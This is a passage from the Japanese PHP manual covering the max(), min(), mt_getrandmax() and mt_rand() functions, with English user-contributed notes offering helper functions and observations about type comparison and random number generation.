  echo "\n$border\n";

  foreach($ints as $count => $int) {
    if( $count and ($count % $ints_per_line == 0)) echo "\n";
    printf($format, $int);
  }

  echo "\n$border\n";
}

# To generate an example, here is a basic function
# returning a list of (pseudo) random numbers.

function rands($how_many) {
  for($i=0; $i < $how_many; $i++) $rands[] = rand();
  return $rands;
}

# Example:  A list of random ints dynamically formatted into columns.

print_list_of_ints(rands(11));

/* Sample output. Numbers and fonts vary. Visualize monospace!

------------------------------------
  1093146637   244503173  1346204527
   638304372   140216732  1054707210
   573915416  1728677954  2038899669
   534854768    12674586
------------------------------------

*/

?>
mcmeijer at yahoo dot com 03-Feb-2005 07:22
$val = 1000000
$val2 = floor(log($val,10)) gives a value of 5 for $val2 and not 6 as expected.
$val2 = floor(log10($val)) gives the correct value.
c0x at mail dot ru 19-Sep-2004 03:08
more general version, works fine on negative, very big ($value > 1E+18) and very small ($value < 1E-18) numbers.

function expn($value, $prec = 3, $base = 1000, $prefix = '') {
    $e = array('a', 'f', 'p', 'n', 'u', 'm', '', 'k', 'M', 'G', 'T', 'P', 'E');
    $p = min(max(floor(log(abs($value), $base)), -6), 6);
    return round((float)$value / pow($base, $p), $prec) . $prefx . $e[$p + 6];
}
admin at worldtakeover dot tk 20-Jun-2004 01:06
In regards to the note about log in base 10 and the round() function. You need to use floor() instead of round() to find out the order of magnitude. That way, you don't have to worry about subtracting 0.5 or whatever.


最大値を返す

  • ≪ log
  • min ≫
  • PHP Manual
  • Math 関数
  • 最大値を返す

max

(PHP 4, PHP 5, PHP 7, PHP 8)

max — 最大値を返す

説明

max ( mixed $value , mixed ...$values ) : mixed

代替のシグネチャ (名前付き引数をサポートしていません):

max ( array $value_array ) : mixed

パラメータとして配列をひとつだけ渡した場合は、max() は配列の中で最も大きい数値を返します。 ふたつ以上のパラメータを指定した場合は、max() はそれらの中で最も大きいものを返します。

注意:

異なる型の値を比較する際には、 標準の比較ルールに従います。 たとえば、数値形式でない string を int と比較するときには、数値 0 と評価します。 しかし、数値形式でない string どうしを比較するときには、アルファベット順で評価します。 返される値は、何も変換をしていない、元の型の値となります。

警告

異なる型の値を引数として渡す際には注意しましょう。 max() が予期せぬ結果を返す可能性があるからです。

パラメータ

value

任意の 比較可能な 値。

values

任意の 比較可能な 複数の値。

value_array

値を含んだ配列。

返り値

max() は、パラメータとして渡した値の中で、標準の比較ルールに従って最大になるものを返します。 異なる型で同じ値と評価される複数の値 (0 と 'abc' など) があった場合は、関数に最初に渡されたほうを返します。

空の配列を渡した場合は false を返し、 E_WARNING が発生します。

例

例1 max() の使用例

<?php
echo max(2, 3, 1, 6, 7);  // 7
echo max(array(2, 4, 5)); // 5

// 'hello' を int と比較するときは、0 と評価します。ふたつの値が
// 等しくなるので、パラメータを渡した順によって結果が決まります
echo max(0, 'hello');     // 0
echo max('hello', 0);     // hello

// -1 と 0 の比較なので、'hello' のほうが大きくなります
echo max('hello', -1);    // hello

// 長さが異なる複数の配列を渡すと、いちばん長い配列を返します
$val = max(array(2, 2, 2), array(1, 1, 1, 1)); // array(1, 1, 1, 1)

// 同じ長さの複数の配列を渡すと、max はその要素を左から
// 辞書順に比較します。この例では 2 == 2 ですが 5 > 4 となります
$val = max(array(2, 4, 8), array(2, 5, 1)); // array(2, 5, 1)

// 配列と配列でない値が渡された場合、常に
// 配列が最大と判定されます。
$val = max('string', array(2, 5, 7), 42);   // array(2, 5, 7)

// 一方の値が NULL や boolean の場合、それを他の値と比較するときには、
// もう一方の値の型が何であるかにかかわらず、FALSE < TRUE というルールを使います。
// 以下の例では、-10 は TRUE と評価されます。
$val = max(-10, FALSE); // -10

// 一方 0 は FALSE と評価されるので、TRUE よりは小さいとみなされます。
$val = max(0, TRUE); // TRUE
?>

参考

  • min() - 最小値を返す
  • count() - 変数に含まれるすべての要素、 あるいはオブジェクトに含まれる何かの数を数える

User Contributed Notes

blackmac01 at gmail dot com 07-Oct-2019 08:01
In response to: keith at bifugi dot com

If you want to find the specific key(s) that match the maximum value in an array where the values may be duplicated, you can loop through and perform a simple check:
<?php

# Example Array
$a = array(
     'key1' => 100,
     'key2' => 90,
     'key3' => 100,
     'key4' => 90,
);

# First get the maximum value
$max = max($a);

# Create a new array containing all keys which have the max value
foreach($a as $key => $val) {
     if($val === $max) $b[] = $key;
}

# If you want a string list, just do this
$b = implode(' ', $b);
?>

This produces consistent results and will scale well in terms of performance, whereas functions like array_search and array_flip can lead to degraded performance when dealing with large amounts of data.
Michael Blinn 07-Mar-2019 03:29
Be careful using max() with objects, as it returns a reference not a new object.

<?php

$min_date = date_create('2019-03-05');
$max_date = date_create('2019-03-06');

$date_by_reference = max($min_date, $max_date);

// $date_by_reference and $max_date are now the same object

echo '$max_date is ' . date_format($max_date, 'Y-m-d') . PHP_EOL; // '2019-03-06'
echo '$date_by_reference is ' . date_format($date_by_reference, 'Y-m-d') . PHP_EOL; // '2019-03-06'

date_add($date_by_reference, date_interval_create_from_date_string('1 days')); // Add 1 day to $date_by_reference, changes $max_date too

echo '$max_date is changed ' . date_format($max_date, 'Y-m-d') . PHP_EOL; // '2019-03-07'
echo '$date_by_reference is changed ' . date_format($date_by_reference, 'Y-m-d') . PHP_EOL; // '2019-03-07'

?>
info at osworx dot net 18-Jan-2019 10:37
Be aware if a array like this is used (e.g. values from a shopping cart):
<?php
Array
(
    [0] => 142,80
    [1] => 39,27
    [2] => 22,80
    [3] => 175,80
)?>
The result will be: 39,27 and not - as expected - 175,80

So, to find the max value, use integer only like:
<?php
Array
(
    [0] => 14280
    [1] => 3927
    [2] => 2280
    [3] => 17580
)?>
and you will get the correct result: 17580
keith at bifugi dot com 11-Jul-2016 04:36
The simplest way to get around the fact that max() won't give the key is array_search:

<?php
$student_grades = array ("john" => 100, "sarah" => 90, "anne" => 100);
$top_student = array_search(max($student_grades),$student_grades); // john
?>

This could also be done with array_flip, though overwriting will mean that it gets the last max value rather than the first:

<?php
$grades_index = array_flip($student_grades);
$top_student = $grades_index[max($student_grades)]; // anne
?>

To get all the max value keys:

<?php
$top_students = array_keys($student_grades,max($student_grades)); // john, anne
?>
ReVo_ 12-Jun-2014 03:28
Sometimes you could need to get the max from an array which looks like this:

<?php
$arrTest = array(
    array( "day" => 1, "b" => 10 ),
    array( "day" => 2, "b" => 43 ),
    array( "day" => 3, "b" => 2 ),
    array( "day" => 4, "b" => -3 ),
    array( "day" => 5, "b" => 4 ),
    array( "day" => 6, "b" => -5 )
);
?>
all max functions i see around don't provide a way to get the max value of the values in (example) key "b"

<?php
function maxValueInArray($array, $keyToSearch)
{
    $currentMax = NULL;
    foreach($array as $arr)
    {
        foreach($arr as $key => $value)
        {
            if ($key == $keyToSearch && ($value >= $currentMax))
            {
                $currentMax = $value;
            }
        }
    }

    return $currentMax;
}

//                                            array       key
$value = maxValueInArray($arrTest, "b");

?>

output: 43
volch5 at gmail dot com 07-May-2014 04:07
max() (and min()) on DateTime objects compares them like dates (with timezone info) and returns DateTime object.
<?php
$dt1 = new DateTime('2014-05-07 18:53', new DateTimeZone('Europe/Kiev'));
$dt2 = new DateTime('2014-05-07 16:53', new DateTimeZone('UTC'));
echo max($dt1,$dt2)->format(DateTime::RFC3339) . PHP_EOL; // 2014-05-07T16:53:00+00:00
echo min($dt1,$dt2)->format(DateTime::RFC3339) . PHP_EOL; // 2014-05-07T18:53:00+03:00
?>

It works at least 5.3.3-7+squeeze17
levim at php dot net 22-Aug-2012 05:18
<?php
/**
 * @param array $array
 *
 * @return int|null Returns the largest value of the array. Returns NULL if no
 *     integers are found.
 */
function array_max_recursive(array $array) {
    $max = NULL;
    $stack = array($array);

    do {
        $current = array_pop($stack );
        foreach ($current as $value) {
            if (is_array($value)) {
                $stack[] = $value;
            } elseif (filter_var($value, FILTER_VALIDATE_INT) !== FALSE) {
                // max(NULL, 0) returns NULL, so cast it
                $max = (int) max($max, $value);
            }
        }

    } while (!empty($stack));

    return $max;
}
?>

 - This function is not actually recursive, but fulfills the requirement that it works on sub-arrays.  I do this because PHP is not very good at recursion.  I also did it because I enjoy doing things this way.
 - It returns something of type int, never a string representation of an int. The exception is when you provide an array that does not contain any integers.  It will then return NULL.
 - It ignores non-array, non-int values.
toon dot baeyens at gmail dot com 07-May-2012 06:42
A little function for multi-dimensional arrays:
<?php
function amax($array){
    if(is_array($array)){
        foreach($array as $key => $value){
            $array[$key] = amax($value);
        }
        return max($array);
    }else{
        return $array;
    }
}
?>
costinu 02-Feb-2012 06:21
max(null, 0) = null
max(0, null) = 0
sun at drupal dot org 03-Aug-2011 11:25
Note that max() throws a warning if the array is empty:

<?php
$a = array();
max($a);
// Warning: max(): Array must contain at least one element
?>

So make sure your data isn't empty.
php at rijkvanwel dot nl 12-Apr-2011 02:08
To get the largest key in an array:

<?php
$array = array( 0 => 'first', 1=> 'second', /* ... */ 99 => 'nth' );
$max_key = max( array_keys( $array ) ); // 99
?>
Alex Rath 10-Apr-2010 11:27
Notice that whenever there is a Number in front of the String, it will be used for Comparison.

<?php

  max('7iuwmssuxue', 1); //returns 7iuwmssuxu
  max('-7suidha', -4); //returns -4

?>

But just if it is in front of the String

<?php

  max('sdihatewin7wduiw', 3); //returns 3

?>
marcini 11-May-2009 07:34
Note that max() can compare dates, so if you write something like this:

<?php
$dates = array('2009-02-15', '2009-03-15');
echo max($dates);
?>

you will get: 2009-03-15.
ries at vantwisk dot nl 09-Nov-2008 06:36
I had several occasions that using max is a lot slower then using a if/then/else construct. Be sure to check this in your routines!

Ries
harmor 21-Feb-2008 09:56
A way to bound a integer between two values is:

<?php
function bound($x, $min, $max)
{
     return min(max($x, $min), $max);
}
?>

which is the same as:

<?php
$tmp = $x;
if($tmp < $min)
{
    $tmp = $min;
}
if($tmp > $max)
{
     $tmp = $max;
}
$y = $tmp;
?>

So if you wanted to bound an integer between 1 and 12 for example:

Input:
<?php
$x = 0;
echo bound(0, 1, 12).'<br />';
$x = 1;
echo bound($x, 1, 12).'<br />';
$x = 6;
echo bound($x, 1, 12).'<br />';
$x = 12;
echo bound($x, 1, 12).'<br />';
$x = 13;
echo bound($x, 1, 12).'<br />';
?>

Output:
1
1
6
12
12
michaelangel0 at mail.com 04-Jul-2007 03:00
Matlab users and others may feel lonely without the double argument output from min and max functions.

To have the INDEX of the highest value in an array, as well as the value itself, use the following, or a derivative:

<?php
function doublemax($mylist){
  $maxvalue=max($mylist);
  while(list($key,$value)=each($mylist)){
    if($value==$maxvalue)$maxindex=$key;
  }
  return array("m"=>$maxvalue,"i"=>$maxindex);
}
?>
johnphayes at gmail dot com 02-May-2006 09:27
Regarding boolean parameters in min() and max():

(a) If any of your parameters is boolean, max and min will cast the rest of them to boolean to do the comparison.
(b) true > false
(c) However, max and min will return the actual parameter value that wins the comparison (not the cast).

Here's some test cases to illustrate:

1.  max(true,100)=true
2.  max(true,0)=true
3.  max(100,true)=100
4.  max(false,100)=100
5.  max(100,false)=100
6.  min(true,100)=true
7.  min(true,0)=0
8.  min(100,true)=100
9.  min(false,100)=false
10. min(100,false)=false
11. min(true,false)=false
12. max(true,false)=true


最小値を返す

  • ≪ max
  • mt_getrandmax ≫
  • PHP Manual
  • Math 関数
  • 最小値を返す

min

(PHP 4, PHP 5, PHP 7, PHP 8)

min — 最小値を返す

説明

min ( mixed $value , mixed ...$values ) : mixed

代替のシグネチャ (名前付き引数をサポートしていません):

min ( array $value_array ) : mixed

パラメータとして配列をひとつだけ渡した場合は、 min() は配列の中で最も小さい数値を返します。 ふたつ以上のパラメータを指定した場合は、min() はそれらの中で最も小さいものを返します。

注意:

異なる型の値を比較する際には、 標準の比較ルールに従います。 たとえば、数値形式でない string を int と比較するときには、数値 0 と評価します。 しかし、数値形式でない string どうしを比較するときには、アルファベット順で評価します。 返される値は、何も変換をしていない、元の型の値となります。

警告

異なる型の値を引数として渡す際には注意しましょう。 min() が予期せぬ結果を返す可能性があるからです。

パラメータ

value

任意の 比較可能な 値。

values

任意の 比較可能な 複数の値。

value_array

値を含んだ配列。

返り値

min() は、パラメータとして渡した値の中で、標準の比較ルールに従って最小になるものを返します。 異なる型で同じ値と評価される複数の値 (0 と 'abc' など) があった場合は、関数に最初に渡されたほうを返します。

空の配列を渡した場合は false を返し、 E_WARNING が発生します。

例

例1 min() の例

<?php
echo min(2, 3, 1, 6, 7);  // 1
echo min(array(2, 4, 5)); // 2

// 'hello' を int と比較するときは、0 と評価します。ふたつの値が
// 等しくなるので、パラメータを渡した順によって結果が決まります
echo min(0, 'hello');     // 0
echo min('hello', 0);     // hello

// -1 と 0 の比較なので、-1 のほうが小さくなります
echo min('hello', -1);    // -1

// 長さが異なる複数の配列を渡すと、いちばん短い配列を返します
$val = min(array(2, 2, 2), array(1, 1, 1, 1)); // array(2, 2, 2)

// 同じ長さの複数の配列を渡すと、max はその要素を左から
// 辞書順に比較します。この例では 2 == 2 ですが 4 < 5 となります
$val = min(array(2, 4, 8), array(2, 5, 1)); // array(2, 4, 8)

// 配列と配列でない値が渡された場合、常に
// 配列が最大と判定されます。
$val = min('string', array(2, 5, 7), 42);   // string

// 一方の値が NULL や boolean の場合、それを他の値と比較するときには、
// もう一方の値の型が何であるかにかかわらず、
// FALSE < TRUE / NULL == FALSE というルールを使います。
// 以下の例では、-10 と 10 はどちらも TRUE と評価されます。
$val = min(-10, FALSE, 10); // FALSE
$val = min(-10, NULL, 10);  // NULL

// 一方 0 は FALSE と評価されるので、TRUE よりは小さいとみなされます。
$val = min(0, TRUE); // 0
?>

参考

  • max() - 最大値を返す
  • count() - 変数に含まれるすべての要素、 あるいはオブジェクトに含まれる何かの数を数える

User Contributed Notes

8ilO 19-Apr-2017 03:21
A min_by function:
<?php
function min_by(Array $arr, Callable $func){
    $mapped = array_map($func, $arr);
    return $arr[array_search(min($mapped), $mapped)];
}
$a = ["albatross",  "dog",  "horse"];
echo min_by($a, "strlen"); // dog
?>
volch5 at gmail dot com 07-May-2014 04:10
min() (and max()) on DateTime objects compares them like dates (with timezone info) and returns DateTime object.
<?php
$dt1 = new DateTime('2014-05-07 18:53', new DateTimeZone('Europe/Kiev'));
$dt2 = new DateTime('2014-05-07 16:53', new DateTimeZone('UTC'));
echo max($dt1,$dt2)->format(DateTime::RFC3339) . PHP_EOL; // 2014-05-07T16:53:00+00:00
echo min($dt1,$dt2)->format(DateTime::RFC3339) . PHP_EOL; // 2014-05-07T18:53:00+03:00
?>

It works at least 5.3.3-7+squeeze17
Teelevision 13-Oct-2013 04:09
A function that returns the lowest integer that is not 0.
<?php
/* like min(), but casts to int and ignores 0 */
function min_not_null(Array $values) {
    return min(array_diff(array_map('intval', $values), array(0)));
}
?>
hava82 at gmail dot com 26-Sep-2011 12:35
Here is function can find min by array key

<?php
function min_by_key($arr, $key){
    $min = array();
    foreach ($arr as $val) {
        if (!isset($val[$key]) and is_array($val)) {
            $min2 = min_by_key($val, $key);
            $min[$min2] = 1;
        } elseif (!isset($val[$key]) and !is_array($val)) {
            return false;
        } elseif (isset($val[$key])) {
            $min[$val[$key]] = 1;
        }
    }
    return min( array_keys($min) );
}
?>
php at keith tyler dot com 23-Nov-2010 01:03
If NAN is the first argument to min(), the second argument will always be returned.

If NAN is the second argument, NAN will always be returned.

The relationship is the same but inverted for max().

<?php
// \n's skipped for brevity
print max(0,NAN);
print max(NAN,0);
print min(0,NAN);
print min(NAN,0);
?>

Returns:
0
NAN
NAN
0
matt at borjawebs dot com 13-Nov-2010 01:18
A condensed version (and possible application) of returning an array of array keys containing the same minimum value:

<?php
// data
$min_keys = array();
$player_score_totals = array(
'player1' => 300,
'player2' => 301,
'player3' => 302,
'player4' => 301,
...
);

// search for array keys with min() value
foreach($player_score_totals as $playerid => $score)
    if($score == min($player_score_totals)) array_push($min_keys, $playerid);

print_r($min_keys);
?>
Err 05-Oct-2009 04:32
When using a variable with an array that has a list of numbers, put just the variable in min(). Don't use integer index's. Seems pretty straight forward now, but I wasn't used to just putting down the variable for an array in functions.

<?php
  $list = array(9,5,4,6,2,7);
  echo min($list); // display 2
?>
DO 03-Jul-2008 03:23
I've modified the bugfree min-version to ignore NULL values (else it returns 0).

<?php
function min_mod () {
  $args = func_get_args();

  if (!count($args[0])) return false;
  else {
    $min = false;
    foreach ($args[0] AS $value) {
      if (is_numeric($value)) {
        $curval = floatval($value);
        if ($curval < $min || $min === false) $min = $curval;
      }
    }
  }

  return $min;
}
?>
harmor 21-Feb-2008 09:58
A way to bound a integer between two values is:

function bound($x, $min, $max)
{
     return min(max($x, $min), $max);
}

which is the same as:

$tmp = $x;
if($tmp < $min)
{
    $tmp = $min;
}
if($tmp > $max)
{
     $tmp = $max;
}
$y = $tmp;

So if you wanted to bound an integer between 1 and 12 for example:

Input:
$x = 0;
echo bound(0, 1, 12).'<br />';
$x = 1;
echo bound($x, 1, 12).'<br />';
$x = 6;
echo bound($x, 1, 12).'<br />';
$x = 12;
echo bound($x, 1, 12).'<br />';
$x = 13;
echo bound($x, 1, 12).'<br />';

Output:
1
1
6
12
12
piotr_sobolewski at o2 dot nospampleasenono dot pl 07-Nov-2007 08:11
Be very careful when your array contains both strings and numbers. This code works strange (even though explainable) way:
var_dump(max('25.1.1', '222', '99'));
var_dump(max('2.1.1', '222', '99'));
dave at dtracorp dot com 13-Aug-2006 08:30
empty strings '' will also return false or 0, so if you have something like

$test = array('', 1, 5, 8, 44, 22);

'' will be returned as the lowest value

if you only want to get the lowest number, you'll have to resort to the old fashioned loop

// default minimum value
$minVal = 100;
foreach ($test as $value) {
if (is_numeric($value) && $value < $minVal) {
$minVal = $value;
}
johnphayes at gmail dot com 02-May-2006 09:26
Regarding boolean parameters in min() and max():

(a) If any of your parameters is boolean, max and min will cast the rest of them to boolean to do the comparison.
(b) true > false
(c) However, max and min will return the actual parameter value that wins the comparison (not the cast).

Here's some test cases to illustrate:

1.  max(true,100)=true
2.  max(true,0)=true
3.  max(100,true)=100
4.  max(false,100)=100
5.  max(100,false)=100
6.  min(true,100)=true
7.  min(true,0)=0
8.  min(100,true)=100
9.  min(false,100)=false
10. min(100,false)=false
11. min(true,false)=false
12. max(true,false)=true
steffen at morkland dot com 16-Mar-2006 02:16
> NEVER EVER use this function with boolean variables !!!
> Or you'll get something like this: min(true, 1, -2) == true;

> Just because of:
> min(true, 1, -2) == min(min(true,1), -2) == min(true, -2) == true;

It is possible to use it with booleans, there is is just one thing, which you need to keep in mind, when evaluating using the non strict comparison (==) anyting that is not bool false, 0 or NULL is consideret true eg.:
(5 == true) = true;
(0 == true) = false;
true is also actually anything else then 0, false and null. However when true is converted to a string or interger true == 1, therefore when sorting true = 1. But if true is the maximum number bool true is returned. so to be sure, if you only want to match if true is the max number remember to use the strict comparison operater ===
31-Jan-2006 09:37
NEVER EVER use this function with boolean variables !!!
Or you'll get something like this: min(true, 1, -2) == true;

Just because of:
min(true, 1, -2) == min(min(true,1), -2) == min(true, -2) == true;

You are warned !
alx5000 at walla dot com 12-Jan-2005 05:16
If you want min to return zero (0) when comparing to a string, try this:

<?php
min(3,4,";");  // ";"
min(0,min(3,4,";")) // 0
?>
nonick AT 8027 DOT org 24-Jan-2004 07:43
I tested this with max(), but I suppose it applies to min() too: If you are working with numbers, then you can use:

    $a = ($b < $c) ? $b : $c;

 which is somewhat faster (roughly 16%) than

    $a = min($b, $c);

 I tested this on several loops using integers and floats, over 1 million iterations.

 I'm running PHP 4.3.1 as a module for Apache 1.3.27.
browne at bee why you dot ee dee you 16-Dec-2003 02:30
min() can be used to cap values at a specific value. For instance, if you're grading papers and someone has some extra credit, but  that shouldn't make it to the final score:

$pts_possible = 50;
$score = 55;

// Percent will equal 1 if $score/$pts_possible is greater than 1
$percent = min($score/$pts_possible,1);


乱数値の最大値を表示する

  • ≪ min
  • mt_rand ≫
  • PHP Manual
  • Math 関数
  • 乱数値の最大値を表示する

mt_getrandmax

(PHP 4, PHP 5, PHP 7, PHP 8)

mt_getrandmax — 乱数値の最大値を表示する

説明

mt_getrandmax ( ) : int

mt_rand() のコールにより返される最大の値を返します。

返り値

mt_rand() を引数なしでコールしたときに取得できる乱数の最大値を返します。 mt_rand() の max に指定する値をこの値以下にしておけば、結果がスケールアップされて無作為性が低下することを避けられます。

例

例1 ランダムな浮動小数点数の算出

<?php
function randomFloat($min = 0, $max = 1) {
    return $min + mt_rand() / mt_getrandmax() * ($max - $min);
}

var_dump(randomFloat());
var_dump(randomFloat(2, 20));
?>

上の例の出力は、 たとえば以下のようになります。

float(0.91601131712832)
float(16.511210331931)

参考

  • mt_rand() - メルセンヌ・ツイスター乱数生成器を介して乱数値を生成する
  • mt_srand() - メルセンヌ・ツイスター乱数生成器にシードを指定する
  • getrandmax() - 乱数の最大値を取得する

User Contributed Notes

bishop at php dot net 09-Jul-2015 04:31
The upper-bound of this value is platform-independent.  PHP implements the 32-bit version of the Mersenne Twister ("mt"), so the maximum possible value is 2**31 - 1 (2147483647).


メルセンヌ・ツイスター乱数生成器を介して乱数値を生成する

  • ≪ mt_getrandmax
  • mt_srand ≫
  • PHP Manual
  • Math 関数
  • メルセンヌ・ツイスター乱数生成器を介して乱数値を生成する

mt_rand

(PHP 4, PHP 5, PHP 7, PHP 8)

mt_rand — メルセンヌ・ツイスター乱数生成器を介して乱数値を生成する

説明

mt_rand ( ) : int
mt_rand ( int $min , int $max ) : int
警告

この関数が生成する値は、暗号学的に安全ではありません。そのため、これを暗号として使ってはいけません。暗号学的に安全な値が必要な場合は、random_int() か random_bytes() あるいは openssl_random_pseudo_bytes() を使いましょう。

古い libc の多くの乱数発生器は、怪しげであるか特性が不明であったりし、 また低速でした。 mt_rand() 関数は、古い rand() の代替品となるものです。 この関数は、その特性が既知の乱数生成器 » メルセンヌ・ツイスター を使用し、 平均的な libc の rand()よりも 4 倍以上高速に乱数を生成します。

オプションの引数 min,max を付けずに コールした場合、mt_rand() は 0 から mt_getrandmax() の間の擬似乱数値を返します。 例えば、5 から 15 まで(端点を含む)の間の乱数値を得たい場合には mt_rand(5, 15) としてください。

パラメータ

min

オプションで指定する、返される値の最小値 (デフォルトは 0)。

max

オプションで指定する、返される値の最大値 (デフォルトは mt_getrandmax())。

返り値

min (あるいは 0) から max (あるいは mt_getrandmax()、それぞれ端点を含む) までの間のランダムな整数値を返します。 max が min より小さい場合は false を返します。

変更履歴

バージョン | 説明
7.2.0 | mt_rand() 関数の モジュロバイアスに関するバグが 修正されました。 これは、特定のシードを用いて生成したシーケンスは、64bit マシン上での PHP 7.1 と出力が異なる可能性があることを意味します。
7.1.0 | rand() は、mt_rand() の エイリアスになりました。
7.1.0 | mt_rand() は、固定の、正しいバージョンのメルセンヌツイスタ の アルゴリズム を使うように 更新されました。 古い振る舞いに戻すには、 mt_srand() 関数の第二引数に MT_RAND_PHP を指定して使ってください。

例

例1 mt_rand() の例

<?php
echo mt_rand() . "\n";
echo mt_rand() . "\n";

echo mt_rand(5, 15);
?>

上の例の出力は、 たとえば以下のようになります。

1604716014
1478613278
6

注意

警告

min から max までの幅を mt_getrandmax() の範囲内におさめる必要があります。 つまり、(max - min) <= mt_getrandmax() でなければいけないということです。この範囲をこえてしまうと、 mt_rand() が返す値のランダム性が、 本来あるべき姿よりも低くなってしまいます。

参考

  • mt_srand() - メルセンヌ・ツイスター乱数生成器にシードを指定する
  • mt_getrandmax() - 乱数値の最大値を表示する
  • random_int() - 暗号論的に安全な疑似乱数を生成する
  • random_bytes() - 暗号論的に安全な、疑似ランダムなバイト列を生成する
  • openssl_random_pseudo_bytes() - 疑似ランダムなバイト文字列を生成する
  • rand() - 乱数を生成する

User Contributed Notes

Nikhil S. 03-Feb-2020 05:19
A nifty function to generate pretty coupon codes. This will generate unique coupon codes and you don't have to do a database check whether the code already exists.

<?php
function giftCodes(){
    $a='';
    for($j=0; $j<=4; $j++){
        $c = 4;
        if($j == 1) { $a .= date("d"); $c=2; }
        if($j == 3) { $a .= date("m"); $c=2; }
        if($j == 4) { $a .= date("y"); $c=2; }
        for($i=0; $i<= $c; $i++)
            $a .= chr(!mt_rand(0,2)?mt_rand(48,57):mt_rand(65,90));
        $a .='-';
    }
    return substr($a, 0, -1);
}
?>
Anonymous 20-Dec-2018 08:24
The seed is the PID + LCG (https://github.com/php/php-src/search?q=GENERATE_SEED&unscoped_q=GENERATE_SEED)
nospamremove dot francois dot gannaz at silecs dot info 03-Jun-2016 10:49
rand() comes from the libc, and mt_rand() is internal to PHP. So the differences vary with their respective versions.

On a 64b Debian Stretch with PHP 5.6.21, there is no visible difference: http://oi64.tinypic.com/2nkqas6.jpg

This image compares the two functions. In the top half with random points, in the lower half with random intensity on each point. This is totally different from what was obtained 4 years ago in another note, with an unknown environment.

Here is the code for this visual comparison.
<?php
$sizex = 400;
$sizey = 400;

$img = imagecreatetruecolor(2 * $sizex, 2 * $sizey);
$white = imagecolorallocate($img, 255, 255, 255);
$inks = array_map(
    function($r) use($img) { return imagecolorallocate($img, $r, $r, $r); },
    range(0, 255)
);
for ($x = 0 ; $x < $sizex ; $x++) {
    for ($y = 0 ; $y < $sizey ; $y++) {
        // placing ($sizex x $sizey) white points at random in the top half
        imagesetpixel($img, rand(0, $sizex - 1), rand(0, $sizey - 1), $white);
        imagesetpixel($img, $sizex + mt_rand(0, $sizex - 1), mt_rand(0, $sizey - 1), $white);
        // random intensity for each point in the lower half
        imagesetpixel($img, $x, $sizey + $y, $inks[rand(0, 255)]);
        imagesetpixel($img, $sizex + $x, $sizey + $y, $inks[mt_rand(0, 255)]);
    }
}
header("Content-type: image/png");
imagepng($img);
?>
syouseki 19-Feb-2016 05:18
mt_rand is not calculated by Mersenne Twister.

https://github.com/php/php-src/commit/a0724d30817600540946b41e40f4cfc2a0c30f80
Jeff Cours 12-Sep-2014 10:12
With PHP 5.3.3, we're seeing odd behavior on 32 bit Linux.

This works fine on 64 bit Linux:
<?php
printf ("%08x\n", mt_rand (0, 0xFFFFFFFF));
?>
but on our 32 bit Linux development server, it's always yielding "00000000".

On that same machine, this:
<?php
printf ("%08x\n", mt_rand (0, 0xFFFFFFF0));
?>
seems to always yield either 00000000 or a number in the range fffffff2 to ffffffff. This:
<?php
printf ("%08x\n", mt_rand (0, 0xFFFFFF00));
?>
gives numbers where the last two digits vary, and so on through at least 0xF0000000.

However, this:
<?php
printf ("%08x\n", mt_rand (0, 0x7FFFFFFF));
?>
seems to be well-behaved.

The moral? On 32 bit systems, be careful about crossing the signed number boundary, 0x7FFFFFFF.
falkartis at gmail dot com 12-Jul-2014 03:34
I wrote another function to get a random float, if its not precise enougth jut add some '0' to the $mul parameter.

<?php

function f_rand($min=0,$max=1,$mul=1000000){
    if ($min>$max) return false;
    return mt_rand($min*$mul,$max*$mul)/$mul;
}
?>
I made following  tests:
<?php
    echo f_rand()."<br>";              //0.497153
    echo f_rand(0.5)."<br>";           //0.857822
    echo f_rand(0.5,0.6)."<br>";       //0.599956
    echo f_rand(0,10)."<br>";          //5.801949
    echo f_rand(0,2,2)."<br>";         //1.5
    echo f_rand(0,2,10)."<br>";        //1.7
?>
Pawe Krawczyk 05-Nov-2013 11:13
To reiterate the message about *not* using mt_rand() for anything security related, here's a new tool that has been just posted that recovers the seed value given a single mt_rand() output:

http://www.openwall.com/php_mt_seed/README
Miller 02-Aug-2013 06:05
Another generic random string function, but very small and fast.

<?php
function mt_rand_str ($l, $c = 'abcdefghijklmnopqrstuvwxyz1234567890') {
    for ($s = '', $cl = strlen($c)-1, $i = 0; $i < $l; $s .= $c[mt_rand(0, $cl)], ++$i);
    return $s;
}

echo mt_rand_str(8); // Something like mp2tmpsw
echo mt_rand_str(6, '0123456789ABCDEF'); // Something like B9CD0F
?>
Hayley Watson 29-Jan-2013 10:56
Another graphical comparison of rand() and mt_rand(). It effectively draws a graph showing how the last generated number affects the next by plotting the numbers in consecutive pairs against each other.

<?php
header("Content-type: image/png");
$sizex=800;
$sizey=800;

$img = imagecreatetruecolor(2 * $sizex,$sizey);
$black = imagecolorallocate($img,0, 0, 0);
imagefilledrectangle($img, 0, 0, 2 * $sizex, $sizey, imagecolorallocate($img, 255, 255, 255));

$p = 0;
for($i=0; $i < 100000; $i++) {
    $np = rand(0,$sizex);
    imagesetpixel($img, $p, $np, $black);
    $p = $np;
}

$p = 0;
for($i=0; $i < 100000; $i++) {
    $np = mt_rand(0,$sizex);
    imagesetpixel($img, $p + $sizex, $np, $black);
    $p = $np;
}

imagepng($img);
imagedestroy($img);
?>
cyrax21 at gmail dot com 01-Mar-2012 08:44
i wanted to spot out the big difference between rand and mt_rand when producing images using randomness as noise.

for example this is a comparation between rand and mt_rand on a 400x400 pixel png: http://oi43.tinypic.com/vwtppl.jpg

code:
<?php
header("Content-type: image/png");
$sizex=800;
$sizey=400;

$img = imagecreatetruecolor($sizex,$sizey);
$ink = imagecolorallocate($img,255,255,255);

for($i=0;$i<$sizex/2;$i++) {
  for($j=0;$j<$sizey;$j++) {
  imagesetpixel($img, rand(1,$sizex/2), rand(1,$sizey), $ink);
  }
}

for($i=$sizex/2;$i<$sizex;$i++) {
  for($j=0;$j<$sizey;$j++) {
  imagesetpixel($img, mt_rand($sizex/2,$sizex), mt_rand(1,$sizey), $ink);
  }
}

imagepng($img);
imagedestroy($img);
?>

the differences reduce when reducing the pixels of the image.. infact for a 100x100 pixel image the noise produced from the rand function is much more realistic than how it is for a 400x400 image: http://oi39.tinypic.com/5k0row.jpg

(rand is on the left, mt_rand on the right)
contact at sheyd dot fr 24-Nov-2011 04:43
To quickly build a human-readable random string for a captcha per example :

<?php

function random($length = 8)
{
    $chars = 'bcdfghjklmnprstvwxzaeiou';

    for ($p = 0; $p < $length; $p++)
    {
        $result .= ($p%2) ? $chars[mt_rand(19, 23)] : $chars[mt_rand(0, 18)];
    }

    return $result;
}

?>

Note that I have removed q and y from $chars to avoid readability problems.
